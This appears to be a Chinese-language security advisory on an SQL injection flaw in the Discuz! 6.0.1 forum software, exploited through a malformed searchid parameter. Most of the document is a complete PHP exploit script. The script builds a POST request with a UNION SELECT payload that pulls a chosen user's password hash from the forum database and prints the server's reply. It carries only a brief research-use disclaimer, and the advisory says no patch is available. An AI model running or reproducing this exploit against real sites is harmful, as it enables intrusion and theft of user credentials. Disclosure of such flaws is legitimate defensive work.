受影响系统:
Discuz! Discuz! 6.0.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 30583
Discuz!是一款华人地区非常流行的Web论坛程序。
Discuz所运行的PHP环境可能存在编码转换的问题,远程攻击者可能利用此漏洞通过提交畸形的searchid参数,允许远程攻击者执行SQL注入攻击。
<*来源:James
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
error_reporting(E_ALL&E_NOTICE);
print_r("
+------------------------------------------------------------------+
Exploit discuz6.0.1
Just work as php>=5 & mysql>=4.1
BY james
+------------------------------------------------------------------+
");
if($argc>4)
{
$host=$argv[1];
$port=$argv[2];
$path=$argv[3];
$uid=$argv[4];
}else{
echo "Usage: php ".$argv[0]." host port path uid\n";
echo "host: target server \n";
echo "port: the web port, usually 80\n";
echo "path: path to discuz\n";
echo "uid : user ID you wanna get\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost 80 1\n";
exit;
}
$content ="action=search&searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit";
$data = "POST /".$path."/index.php"." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-length: ".strlen($content)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content."\r\n\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo 'No response from '.$host;
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
echo fgets($ock, 1024);
}
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
https://discuz.dismall.com/ |